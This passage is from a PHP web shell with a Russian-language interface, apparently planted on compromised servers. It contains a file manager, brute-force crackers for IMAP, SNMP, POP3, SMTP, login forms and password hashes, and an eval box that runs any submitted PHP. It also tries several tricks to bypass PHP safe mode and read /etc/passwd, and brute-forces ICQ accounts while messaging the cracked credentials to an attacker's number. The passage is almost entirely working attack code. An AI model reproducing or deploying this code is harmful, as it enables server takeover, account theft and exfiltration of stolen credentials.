  2355. echo "</td>$cl1<a href=\"".hlink("sec=chmod&file=".$fn."&workingdir=".getcwd())."\">*";if (is_readable($fn)) echo "R";if (is_writeable($fn)) echo "W";if (is_executable($fn)) echo "X";if (is_uploaded_file($fn)) echo "U"; echo "*</a></td>";
  2356. echo "$cl1$size</td>";
  2357. echo $td2m.$fileaction;
  2358. echo "</tr>" ;
  2359. flusher();
  2360. }
  2361. foreach($link as $ln){
  2362. $own = "Неизвестно";
  2363. $i++;
  2364. $owner = posix_getpwuid(fileowner($ln));
  2365. $linkaction=$select.hlink("sec=openit&name=$ln&workingdir=$ln")."\">Открыть</option><option value=\"".hlink("sec=edit&file=$cwd/$ln&workingdir=$cwd")."\">Редактировать</option><option value=\"".hlink("sec=fm&download=$ln&workingdir=$cwd")."\">Скачать</option><option value=\"".hlink("sec=hex&file=$ln&workingdir=$cwd")."\">НЕХ код</option><option value=\"".hlink("sec=img&file=$ln&workingdir=$cwd")."\">Картинка</option><option value=\"".hlink("sec=inc&file=$ln&workingdir=$cwd")."\">Include</option><option value=\"".hlink("sec=checksum&file=$ln&workingdir=$cwd")."\">Контрольная сумма</option><option value=\"".hlink("sec=fm&workingdir=$cwd&cp=$ln")."\">Копировать</option><option value=\"".hlink("sec=fm&workingdir=$cwd&mv=$ln")."\">Переместить</option><option value=\"".hlink("sec=fm&workingdir=$cwd&rn=$ln")."\">Переименовать</option><option value=\"".hlink("sec=fm&del=$ln&workingdir=$cwd")."\">Удалить</option></select></td>";
  2366. $mdate = date("Y/m/d H:i:s",filemtime($ln));
  2367. $adate = date("Y/m/d H:i:s",fileatime($ln));
  2368. if ($owner) $own = "<a title=\"Shell: ".$owner['shell']."\" href=\"".hlink("sec=fm&workingdir=".$owner['dir'])."\">".$owner['name']."</a>";
  2369. echo "<tr>";
  2370. $size = showsize(filesize($ln));
  2371. if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
  2372. if (is_writeable($ln)) echo $tdw;elseif (!is_readable($ln)) echo $tdnr;else echo $cl2;
  2373. echo "<a href=\"".hlink("sec=openit&name=$ln&workingdir=$cwd")."\">";
  2374. if (strlen($ln)>45)echo substr($ln,0,42)."...";else echo $ln;echo "</a>";
  2375. echo $cl1."$own</td>";
  2376. echo $cl1."$mdate</td>";
  2377. echo $cl1."$adate</td>";
  2378. echo "</td>${cl1}L";if (is_readable($ln)) echo "R";if (is_writeable($ln)) echo "W";if (is_executable($ln)) echo "X"; echo "</td>";
  2379. echo "$cl1$size</td>";
  2380. echo $cl2.$linkaction;
  2381. echo "</tr>" ;
  2382. flusher();
  2383. }
  2384. }
  2385. $dc = count($dir)-2;
  2386. if($dc==-2)$dc=0;
  2387. $fc = count($file);
  2388. $lc = count($link);
  2389. $total = $dc + $fc + $lc;
  2390. echo "$table<tr><td><form method=POST action=\"".hlink("sec=fm")."\">Найти:<input type=text name=search><input type=checkbox name=re value=1 style=\"border-width:1px;background-color:#333333;\" checked>Регулярные выражения <input type=submit class=buttons value=Найти>$hcwd<input type=hidden value=7 name=task></form></td><td><form method=POST action=\"".hlink("sec=fm")."\">$hcwd<select name=task><option value=0>Показать все файлы и папки в данной папке</option><option value=1>Найти папки доступные для записи</option><option value=2>Найти файлы доступные для записи</option><option value=3>Найти папки доступные для записи в текущей папке</option><option value=4>Показать все файлы в текущей папке</option><option value=5>Показать все папки в текущей папке</option></select><input type=submit class=buttons value=\"&gt;&gt;\"></form>$et</tr></table><table width=\"100%\"><tr><td width=\"50%\"><br><table bgcolor=#333333 border=0 width=\"65%\"><td><b>Суммарно:</b> Всего: $total Папок: $dc Файлов: $fc Ссылок: $lc</td></table><table border=0 width=\"65%\"><td width=\"100%\" bgcolor=";if (is_writeable($cwd)) echo "#006E00";elseif (!is_readable($cwd)) echo "#800000";else "#333333"; echo ">Статус текущей папки: "; if (is_readable($cwd)) echo "R";if (is_writeable($cwd)) echo "W" ;echo "</td></table><table border=0 style=\"border-collapse: collapse\" width=\"65%\"><tr><td width=\"100%\">Создать:</td></tr><tr>$td1n<form method=\"POST\" action=\"".hlink("sec=fm")."\"><input type=text size=47 name=newf></td></tr><tr>$td2m$hcwd<input class=buttons type=submit name=newfile value=\"Файл\"><input class=buttons type=submit name=newdir value=\"Папку\"></td></tr></form></table></td><td width=\"50%\"><br>${t}Загрузить:</td></tr><tr>$td1n<form method=\"POST\" enctype=\"multipart/form-data\" action=\"".hlink("sec=fm")."\"><input type=file size=45 name=uploadfile></td></tr><tr>$td2m$hcwd<input class=buttons type=submit value=Загрузить></td></tr>$td1n Максимальный объём загружаемого файла на этом сервере ".ini_get('upload_max_filesize')."</td></tr></form></table>$et";
  2391. }
  2392. }
  2393. function cm() {
  2394. global $windows,$msgbox,$errorbox,$et;
  2395. if (!$windows) {
  2396. $mode=substr(sprintf('%o', fileperms($_REQUEST['file'])), -4);
  2397. echo $msgbox;
  2398. if (!empty($_POST['set'])) {
  2399. $mode = 0;
  2400. if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
  2401. if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
  2402. if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
  2403. if (chmod($_REQUEST['file'], $mode)) {
  2404. echo "OK!<script>location.href=\"".str_replace("\\","\\\\",hlink("sec=fm&workingdir=".getcwd()))."\";</script>";
  2405. } else {
  2406. echo "ERROR!";
  2407. }
  2408. } else {
  2409. $mode = fileperms($_REQUEST['file']);
  2410. echo '<form action="'.hlink("sec=chmod&file=".$_REQUEST['file']."&workingdir=".getcwd()).'" method="post">
  2411. <table>
  2412. <tr>
  2413. <td>
  2414. <p style="margin: 0">CHMOD ' . realpath($_REQUEST['file']) . '</p>
  2415. <hr />
  2416. <table>
  2417. <tr>
  2418. <td></td>
  2419. <td style="border-right: 1px solid black">Owner</td>
  2420. <td style="border-right: 1px solid black">Group</td>
  2421. <td>Other</td>
  2422. </tr>
  2423. <tr>
  2424. <td style="text-align: right">Чтение:</td>
  2425. <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
  2426. <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
  2427. <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
  2428. </tr>
  2429. <tr>
  2430. <td style="text-align: right">Запись:</td>
  2431. <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
  2432. <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
  2433. <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
  2434. </tr>
  2435. <tr>
  2436. <td style="text-align: right">Выполнение:</td>
  2437. <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
  2438. <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
  2439. <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
  2440. </tr>
  2441. </table>
  2442. <hr />
  2443. <input type="submit" name="set" value="Задать" />
  2444. </td>
  2445. </tr>
  2446. </table>
  2447. </form>';
  2448. }
  2449. echo $et;
  2450. } else {
  2451. echo $errorbox."Извините, CHMOD недоступен под Windows!".$et;
  2452. }
  2453. }
  2454. function imapcracker(){
  2455. global $t,$et,$errorbox,$crack;
  2456. if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  2457. $target=$_REQUEST['target'];
  2458. $type=$_REQUEST['combo'];
  2459. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
  2460. $dictionary=fopen($_REQUEST['dictionary'],'r');
  2461. if ($dictionary){
  2462. echo "<font color=blue>Ломаем ".htmlspecialchars($target)."...<br>";
  2463. while(!feof($dictionary)){
  2464. if($type){
  2465. $combo=trim(fgets($dictionary)," \n\r");
  2466. $user=substr($combo,0,strpos($combo,':'));
  2467. $pass=substr($combo,strpos($combo,':')+1);
  2468. }else{
  2469. $pass=trim(fgets($dictionary)," \n\r");
  2470. }
  2471. $pop3=imaplogin($target,$user,$pass);
  2472. if($pop3==-1){echo $errorbox." Нет связи с сервером.".$et; break;
  2473. }else{
  2474. if ($pop3){echo "U: ".$user." P: ".$pass."<br>"; if(!$type) { break; }}}
  2475. flusher();
  2476. }
  2477. echo "<br>Готово!</font>";
  2478. fclose($dictionary);
  2479. }
  2480. else{
  2481. echo $errorbox." Невозможно открыть словарь.".$et;
  2482. }}
  2483. else { echo "<center>${t}IMAP брут:$crack"; }
  2484. }
  2485. function snmpcracker(){
  2486. global $t,$et,$errorbox,$crack,$hcwd;
  2487. if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  2488. $target=$_REQUEST['target'];
  2489. $dictionary=fopen($_REQUEST['dictionary'],'r');
  2490. if ($dictionary){
  2491. echo "<font color=blue>Ломаем ".htmlspecialchars($target)."...<br>";
  2492. while(!feof($dictionary)){
  2493. $com=trim(fgets($dictionary)," \n\r");
  2494. $res=snmpcheck($target,$com);
  2495. if ($res!="") { echo $com."<br>"; }
  2496. flusher();
  2497. }
  2498. echo "<br>Готово</font>";
  2499. fclose($dictionary);
  2500. }
  2501. else{
  2502. echo $errorbox." Невозможно открыть словарь.".$et;
  2503. }
  2504. }else{
  2505. echo "<center>${t}SNMP брут:</td><td></td></tr><form method=\"POST\">".$hcwd."<tr><td width=\"20%\">Словарь:</td><td><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\">Сервер:</td><td><input type=text name=target size=35></td></tr><tr><td width=\"20%\"></td><td align=right><input class=buttons type=submit value=Старт></td></tr></form></table></center>";
  2506. }}
  2507. function pop3cracker(){
  2508. global $t,$et,$errorbox,$crack;
  2509. if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  2510. $target=$_REQUEST['target'];
  2511. $type=$_REQUEST['combo'];
  2512. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
  2513. $dictionary=fopen($_REQUEST['dictionary'],'r');
  2514. if ($dictionary){
  2515. echo "<font color=blue>Ломаем ".htmlspecialchars($target)."...<br>";
  2516. while(!feof($dictionary)){
  2517. if($type){
  2518. $combo=trim(fgets($dictionary)," \n\r");
  2519. $user=substr($combo,0,strpos($combo,':'));
  2520. $pass=substr($combo,strpos($combo,':')+1);
  2521. }else{
  2522. $pass=trim(fgets($dictionary)," \n\r");
  2523. }
  2524. $pop3=pop3login($target,$user,$pass);
  2525. if($pop3==-1){echo "$errorbox Нет связи с сервером.$et";break;} else{
  2526. if ($pop3){echo "U: ".$user." P: ".$pass."<br>"; if(!$type) {break; }}}
  2527. flusher();
  2528. }
  2529. echo "<br>Готово!</font>";
  2530. fclose($dictionary);
  2531. }else{
  2532. echo $errorbox." Невозможно открыть словарь.".$et;
  2533. }
  2534. }else { echo "<center>${t}POP3 брут:$crack"; }
  2535. }
  2536. function smtpcracker(){
  2537. global $t,$et,$errorbox,$crack;
  2538. if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  2539. $target=$_REQUEST['target'];
  2540. $type=$_REQUEST['combo'];
  2541. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
  2542. $dictionary=fopen($_REQUEST['dictionary'],'r');
  2543. if ($dictionary){
  2544. echo "<font color=blue>Ломаем ".htmlspecialchars($target)."...<br>";
  2545. while(!feof($dictionary)){
  2546. if($type){
  2547. $combo=trim(fgets($dictionary)," \n\r");
  2548. $user=substr($combo,0,strpos($combo,':'));
  2549. $pass=substr($combo,strpos($combo,':')+1);
  2550. }else{
  2551. $pass=trim(fgets($dictionary)," \n\r");
  2552. }
  2553. $pop3=smtplogin($target,$user,$pass,5);
  2554. if($pop3==-1){echo $errorbox." Нет связи с сервером.".$et; break; }else{
  2555. if ($pop3) { echo "U: ".$user." P: ".$pass."<br>"; if(!$type) { break; }}}
  2556. flusher();
  2557. }
  2558. echo "<br>Готово!</font>";
  2559. fclose($dictionary);
  2560. }else{
  2561. echo $errorbox." Невозможно открыть словарь.".$et;
  2562. }
  2563. }else echo "<center>${t}SMTP брут:$crack";
  2564. }
  2565. function formcracker(){
  2566. global $errorbox,$footer,$et,$hcwd;
  2567. $method='POST';
  2568. if(!empty($_REQUEST['start'])){
  2569. $url=$_REQUEST['target'];
  2570. $uf=$_REQUEST['userf'];
  2571. $pf=$_REQUEST['passf'];
  2572. $sf=$_REQUEST['submitf'];
  2573. $sv=$_REQUEST['submitv'];
  2574. $method=$_REQUEST['method'];
  2575. $fail=$_REQUEST['fail'];
  2576. $dic=$_REQUEST['dictionary'];
  2577. $type=$_REQUEST['combo'];
  2578. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
  2579. if(!file_exists($dic)) { die($errorbox." Невозможно открыть словарь.".$et.$footer); }
  2580. $dictionary=fopen($dic,'r');
  2581. $u=parse_url($url);
  2582. $host=$u['host'];$page=(!empty($u['path']))?$u['path']:'/';
  2583. echo "<font color=blue>Брут начался...<br>";
  2584. while(!feof($dictionary)){
  2585. if($type){
  2586. $combo=trim(fgets($dictionary)," \n\r");
  2587. $user=substr($combo,0,strpos($combo,':'));
  2588. $pass=substr($combo,strpos($combo,':')+1);
  2589. }else{
  2590. $pass=trim(fgets($dictionary)," \n\r");
  2591. }
  2592. $line="";
  2593. $data=$uf."=".$user."&".$pf."=".$pass."&".$sf."=".$sv;
  2594. $http=fsockopen($host,80,$errno,$errstr,12);
  2595. if (!$http) { continue; }
  2596. if ($method=="POST"){
  2597. fputs($http,"POST $page HTTP/1.0\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-length: ".strlen( $data )."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data");
  2598. }else{
  2599. fputs($http,"GET $page?$data HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\n\r\n");
  2600. }
  2601. while(!feof($http)){
  2602. $line.=fgets($http,32);
  2603. }
  2604. if (!strstr($line,$fail)){echo "<font color=blue>U: $user P: $pass</font><br>";if(!$type)break;}
  2605. fclose($http);
  2606. flusher();
  2607. }
  2608. fclose($dictionary);
  2609. echo "Готово!</font><br>";
  2610. }
  2611. else echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"434\"><tr><td width=\"174\">Брут форм:</td><td width=\"253\"></td></tr><form method=\"POST\" name=form><tr><td width=\"174\">Словарь:</td><td width=\"253\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"174\">Тип словаря:</td><td><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;\">Combo (U:P)</td></tr><tr><td width=\"174\">Имя:</td><td><input type=text size=35 value=root name=user>$hcwd</td></tr><tr><td width=\"174\">Страница:</td><td width=\"253\"><input type=text name=target value=\"http://".getenv('HTTP_HOST')."/login.php\" size=35></td></tr><tr><td width=\"174\">Метод:</td><td width=\"253\"><select size=\"1\" name=\"method\"><option selected value=\"POST\">POST</option><option value=\"GET\">GET</option></select></td></tr><tr><td width=\"174\">Поле для логина:</td><td width=\"253\"><input type=text name=userf value=user size=35></td></tr><tr><td width=\"174\">Поле для пароля:</td><td width=\"253\"><input type=text name=passf value=passwd size=35></td></tr><tr><td width=\"174\">Submit name:</td><td width=\"253\"><input type=text value=login name=submitf size=35></td></tr><tr><td width=\"174\">Submit value:</td><td width=\"253\"><input type=text value=\"Login\" name=submitv size=35></td></tr><tr><td width=\"174\">Текст ошибки:</td><td width=\"253\"><input type=text name=fail value=\"Try again\" size=35></td></tr><tr><td width=\"174\"></td><td align=right width=\"253\"><input class=buttons type=submit name=start value=Старт></td></tr></form></table></center>";
  2612. }
  2613. function hashcracker(){
  2614. global $errorbox,$t,$et,$hcwd;
  2615. if (!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){
  2616. $dictionary=fopen($_REQUEST['dictionary'],'r');
  2617. if ($dictionary){
  2618. $hash=strtoupper($_REQUEST['hash']);
  2619. echo "<font color=blue>Ломаем " . htmlspecialchars($hash)."...<br>";
  2620. $type=($_REQUEST['type']=='MD5')?'md5':'sha1';
  2621. while(!feof($dictionary)){
  2622. $word=trim(fgets($dictionary)," \n\r");
  2623. if ($hash==strtoupper(($type($word)))){echo "Ответ: ".htmlspecialchars($word)."<br>";break;}
  2624. }
  2625. echo "Готово!</font>";
  2626. fclose($dictionary);
  2627. }
  2628. else{
  2629. echo "$errorbox Невозможно открыть словарь.$et";
  2630. }
  2631. }
  2632. echo "<center>${t}Hash брут:</td><td></td></tr><form method=\"POST\"><tr><td width=\"20%\">Словарь:</td><td><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\">Hash:</td><td><input type=text name=hash size=35></td></tr><tr><td width=\"20%\">Тип:</td><td><select name=type><option selected value=MD5>MD5</option><option value=SHA1>SHA1</option></select></td></tr><tr><td width=\"20%\"></td><td align=right>$hcwd<input class=buttons type=submit value=Старт></td></tr></form></table></center>";
  2633. }
  2634. function proxy(){
  2635. global $errorbox,$et,$footer,$hcwd;
  2636. echo "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><form method=\"POST\"><tr><td width=\"20%\"><b>Адрес: </b><input type=text name=url size=140 value=\"";
  2637. if(!!empty($_REQUEST['url'])) { echo "http://2ip.ru/"; }
  2638. else { echo htmlspecialchars($_REQUEST['url']); }
  2639. echo "\">$hcwd<input type=submit class=buttons value=\"&gt;&gt;\"></td></tr></form></table>";
  2640. if (!empty($_REQUEST['url'])){
  2641. $dir="";
  2642. $u=parse_url($_REQUEST['url']);
  2643. $host=$u['host'];$file==(!empty($u['path']))?$u['path']:'/';
  2644. if(substr_count($file,'/')>1)$dir=substr($file,0,(strpos($file,'/')));
  2645. $url=@fsockopen($host, 80, $errno, $errstr, 12);
  2646. if(!$url)die("<br>$errorbox Нет связи!$et$footer");
  2647. fputs($url, "GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
  2648. while(!feof($url)){
  2649. $con = fgets($url);
  2650. $con = str_replace("href=mailto","HrEf=mailto",$con);
  2651. $con = str_replace("HREF=mailto","HrEf=mailto",$con);
  2652. $con = str_replace("href=\"mailto","HrEf=\"mailto",$con);
  2653. $con = str_replace("HREF=\"mailto","HrEf=\"mailto",$con);
  2654. $con = str_replace("href=\'mailto","HrEf=\"mailto",$con);
  2655. $con = str_replace("HREF=\'mailto","HrEf=\"mailto",$con);
  2656. $con = str_replace("href=\"http","HrEf=\"".hlink("sec=px&url=http"),$con);
  2657. $con = str_replace("HREF=\"http","HrEf=\"".hlink("sec=px&url=http"),$con);
  2658. $con = str_replace("href=\'http","HrEf=\"".hlink("sec=px&url=http"),$con);
  2659. $con = str_replace("HREF=\'http","HrEf=\"".hlink("sec=px&url=http"),$con);
  2660. $con = str_replace("href=http","HrEf=".hlink("sec=px&url=http"),$con);
  2661. $con = str_replace("HREF=http","HrEf=".hlink("sec=px&url=http"),$con);
  2662. $con = str_replace("href=\"","HrEf=\"".hlink("sec=px&url=http://$host/$dir/"),$con);
  2663. $con = str_replace("HREF=\"","HrEf=\"".hlink("sec=px&url=http://$host/$dir/"),$con);
  2664. $con = str_replace("href=\"","HrEf=\'".hlink("sec=px&url=http://$host/$dir/"),$con);
  2665. $con = str_replace("HREF=\"","HrEf=\'".hlink("sec=px&url=http://$host/$dir/"),$con);
  2666. $con = str_replace("href=","HrEf=".hlink("sec=px&url=http://$host/$dir/"),$con);
  2667. $con = str_replace("HREF=","HrEf=".hlink("sec=px&url=http://$host/$dir/"),$con);
  2668. echo $con;
  2669. }
  2670. fclose($url);
  2671. }
  2672. }
  2673. function phpeval(){
  2674. global $t,$hcwd;
  2675. if (!empty($_REQUEST['code'])){
  2676. echo "<center><textarea rows=\"10\" cols=\"64\">";
  2677. ob_start();
  2678. eval($_REQUEST['code']);
  2679. $evalute=ob_get_contents();
  2680. ob_end_clean();
  2681. echo htmlspecialchars($evalute);
  2682. echo "</textarea></center><br>";
  2683. }
  2684. echo "<center>${t}Evaler:</td><td></td></tr><form method=\"POST\"><tr><td width=\"20%\">Код:</td><td><textarea rows=\"10\" name=\"code\" cols=\"64\">";
  2685. if(!empty($_REQUEST['code'])) echo htmlspecialchars($_REQUEST['code']);
  2686. echo "</textarea></td></tr><tr><td width=\"20%\"></td><td align=right>$hcwd<input class=buttons type=submit value=Выполнить></td></tr></form></table></center>";
  2687. }
  2688. function whois(){
  2689. global $t,$hcwd;
  2690. if (!empty($_REQUEST['server']) && !empty($_REQUEST['domain'])){
  2691. $server =$_REQUEST['server'];
  2692. $domain=$_REQUEST['domain']."\r\n";
  2693. $ser=fsockopen($server,43,$en,$es,5);
  2694. fputs($ser,$domain);
  2695. echo "<pre>";
  2696. while(!feof($ser)) echo fgets($ser);
  2697. echo "</pre>";
  2698. fclose($ser);
  2699. }
  2700. else{
  2701. echo "<center>${t}Whois:</td><td></td></tr><form method=\"POST\"><tr><td width=\"20%\">Сервер:</td><td><input type=text value=\"";
  2702. if (!empty($_REQUEST['server'])) echo htmlspecialchars($_REQUEST['server']);
  2703. else echo "whois.geektools.com";
  2704. echo "\" name=server size=35></td></tr><tr><td width=\"20%\">Домен/IP:</td><td><input type=text name=domain value=\"";
  2705. if (!empty($_REQUEST['domain'])) echo htmlspecialchars($_REQUEST['domain']);
  2706. else echo "google.com";
  2707. echo "\" size=35></td><tr><td></td><td align=right>$hcwd<input class=buttons type=submit value=\"&gt;&gt;\"></td></tr></form></table></center>";
  2708. }
  2709. }
  2710. function hexview(){
  2711. if (!empty($_REQUEST['file'])){
  2712. $f = $_REQUEST['file'];
  2713. echo "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><td width=\"10%\">Offset</td><td width=\"25%\">Hex</td><td width=\"25%\"></td><td width=\"40%\">ASCII</td></tr>";
  2714. $file = fopen($f,"r");
  2715. $i= -1;
  2716. while (!feof($file)) {
  2717. $ln='';
  2718. $i++;
  2719. echo "<tr><td width=\"10%\" bgcolor=\"#";
  2720. if ($i % 2==0) echo "666666"; else echo "808080";
  2721. echo "\">"; echo str_repeat("0",(8-strlen($i * 16))).$i * 16; echo "</td>";
  2722. echo "<td width=\"25%\" bgcolor=\"#";
  2723. if ($i % 2==0) echo "666666"; else echo "808080";
  2724. echo "\">";
  2725. for ($j=0;$j<=7;$j++){
  2726. if (!feof($file)){
  2727. $tmp = strtoupper(dechex(ord(fgetc($file))));
  2728. if (strlen($tmp)==1) $tmp = "0".$tmp;
  2729. echo $tmp." ";
  2730. $ln.=$tmp;
  2731. }
  2732. }
  2733. echo "</td><td width=\"25%\" bgcolor=\"#";
  2734. if ($i % 2==0) echo "666666"; else echo "808080";
  2735. echo "\">";
  2736. for ($j=7;$j<=14;$j++){
  2737. if (!feof($file)){
  2738. $tmp = strtoupper(dechex(ord(fgetc($file))));
  2739. if (strlen($tmp)==1) $tmp = "0".$tmp;
  2740. echo $tmp." ";
  2741. $ln.=$tmp;
  2742. }
  2743. }
  2744. echo "</td><td width=\"40%\" bgcolor=\"#";
  2745. if ($i % 2==0) echo "666666"; else echo "808080";
  2746. echo "\">";
  2747. $n=0;$asc="";$co=0;
  2748. for ($k=0;$k<=16;$k++){
  2749. $co=hexdec(substr($ln,$n,2));
  2750. if (($co<=31)||(($co>=127)&&($co<=160)))$co=46;
  2751. $asc.= chr($co);
  2752. $n+=2;
  2753. }
  2754. echo htmlspecialchars($asc);
  2755. echo "</td></tr>";
  2756. }
  2757. }
  2758. fclose($file);
  2759. echo "</table>";
  2760. }
  2761. function safemode(){
  2762. global $windows,$t,$hcwd;
  2763. if (!empty($_REQUEST['file'])){
  2764. $i=1;
  2765. echo "<pre>\n<font color=green>Метод $i:(ini_restore)</font><font color=blue>\n";
  2766. ini_restore("safe_mode");ini_restore("open_basedir");
  2767. $tmp = file_get_contents($_REQUEST['file']);
  2768. echo htmlspecialchars($tmp);
  2769. $i++;
  2770. echo "\n</font><font color=green>Метод $i:(copy)</font><font color=blue>\n";
  2771. $tmp=tempnam("","cx");
  2772. copy("compress.zlib://".$_REQUEST['file'], $tmp);
  2773. $fh = fopen($tmp, "r");
  2774. $data = fread($fh, filesize($tmp));
  2775. fclose($fh);
  2776. echo htmlspecialchars($data);
  2777. $i++;
  2778. if(function_exists("curl_init")){
  2779. echo "\n</font><font color=green>Метод $i:(curl_init)[A]</font><font color=blue>\n";
  2780. $fh = @curl_init("file://".$_REQUEST['file']."");
  2781. $tmp = @curl_exec($fh);
  2782. echo $tmp;
  2783. $i++;
  2784. echo "\n</font><font color=green>Метод $i:(curl_init)[B]</font><font color=blue>\n";
  2785. $i++;
  2786. if(strstr($_REQUEST['file'],DIRECTORY_SEPARATOR))
  2787. $ch =curl_init("file:///".$_REQUEST['file']."\x00/../../../../../../../../../../../../".__FILE__);
  2788. else $ch = curl_init("file://".$_REQUEST['file']."\x00".__FILE__);
  2789. curl_exec($ch);
  2790. var_dump(curl_exec($ch));
  2791. }
  2792. if($_REQUEST['file'] == "/etc/passwd"){
  2793. echo "\n</font><font color=green>Метод $i:(posix)</font><font color=blue>\n";
  2794. for($uid=0;$uid<99999;$uid++){
  2795. $h = posix_getpwuid($uid);
  2796. if (!empty($h))while (list ($k, $v) = each($h))echo "$v:";}}
  2797. $i++;
  2798. echo "</pre></font>";
  2799. }
  2800. echo "<center>${t}АнтиБезопасный режим:</td><td></td></tr><form method=\"POST\"><tr><td width=\"20%\">Файл:</td><td><input type=text value=\"";if (!empty($_REQUEST['file'])) echo htmlspecialchars($_REQUEST['file']);elseif(!$windows) echo "/etc/passwd"; echo "\" name=file size=35></td></tr><tr><td></td><td align=right>$hcwd<input class=buttons type=submit value=\"Прочитать\"></td></tr></form></table></center>";
  2801. }
  2802. function icqlogin($login,$pass) {
  2803. $icq = new ICQclient($login,$pass);
  2804. if($icq->connect()) {
  2805. if ($icq->login()) {
  2806. if (!empty($_REQUEST['admin']) && isset($_REQUEST['admin'])) {
  2807. $icq->send_message($_REQUEST['admin'],"Сбручен номер:\r\n".$login.";".$pass."\r\nEugen Shell Brutter");
  2808. }
  2809. usleep(100);
  2810. return true;
  2811. }}
  2812. return false;
  2813. }
  2814. function icqbrute() {
  2815. global $msgbox,$et;
  2816. if (!isset($_REQUEST['ibr']) || empty ($_REQUEST['ibr'])) {
  2817. echo $msgbox."<form action=\"".$_SERVER['PHP_SELF']."?sec=icq&workingdir=".getcwd()."\" method=post>Введите номера в виде номер;пароль на строку.<br><textarea rows=20 cols=50 name=ibr></textarea><br><br>Путь к файлу для сохранения хороших комбинаций.<br>Если не существует - будет создан. Иначе - перезаписан.<br>Поле можно оставить пустым.<br>Файл: <input type=text name=icqfile><br>Ваш номер (На него прийдут результаты. Можно оставить пустым.):<br><input type=text name=admin><br><input type=submit value=Старт></form><br>".$et;
  2818. } else {
  2819. $filegood=$_REQUEST['icqfile'];
  2820. if (!empty($filegood)) {
  2821. $fp=@fopen($filegood,"w+");
  2822. $nums=$_REQUEST['ibr'];
  2823. $arr=explode("\r\n",$nums);
  2824. echo "<meta http-equiv='refresh' content='0; URL=".$_SERVER['PHP_SELF']."'>\r\n<script>location.href='".$_SERVER['PHP_SELF']."'</script><a href='".$_SERVER['PHP_SELF']."'>Нажмите сюда</a>";
  2825. flusher();
  2826. for ($i=0; $i<count($arr); $i++) {
  2827. list($uin,$password)=explode(";",$arr[$i]);
  2828. if (icqlogin($uin,$password)) { fputs($fp,$uin.";".$password."\r\n"); } else {
  2829. if (icqlogin($uin,$password)) { fputs($fp,$uin.";".$password."\r\n"); }
  2830. }
  2831. }
  2832. fclose($fp);
  2833. } else {
  2834. $nums=$_REQUEST['ibr'];
  2835. $arr=explode("\r\n",$nums);
  2836. echo $msgbox."<br>Сбрученные номера<br>";
  2837. flusher();
  2838. for ($i=0; $i<count($arr); $i++) {
  2839. list($uin,$password)=explode(";",$arr[$i]);
  2840. if (!!icqlogin($uin,$password)) {
  2841. echo $uin.";".$password."<br>";
  2842. flusher();
  2843. }}
  2844. echo $et;
  2845. }}}
  2846. function mralogin($login,$pass) {
  2847. $user_agent = 'magent';
  2848. $magic = "\xEF\xBE\xAD\xDE";
  2849. $proto = "\x0A\x00\x01\x00";
  2850. $mnumb = 0;
  2851. $socket = @fsockopen("mrim.mail.ru","2042");
  2852. if (!$socket) { return false; }
  2853. $answ=fgets($socket, 20);
  2854. fclose ($socket);
  2855. list($hostc, $portc) = explode(":", $answ);
  2856. unset ($socket);
  2857. unset ($answ);
  2858. $socket = @fsockopen($hostc,$portc);
  2859. if (!$socket) { return false; }
  2860. $mrim_hello = $magic.$proto.pack("L1", $mnumb)."\x01\x10\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
  2861. fputs($socket,$mrim_hello);
  2862. $mnumb++;
  2863. $answ=fgets($socket, 48);
  2864. $ping_time = ord(unpack("x44 A1", $answ));
  2865. unset($answ);
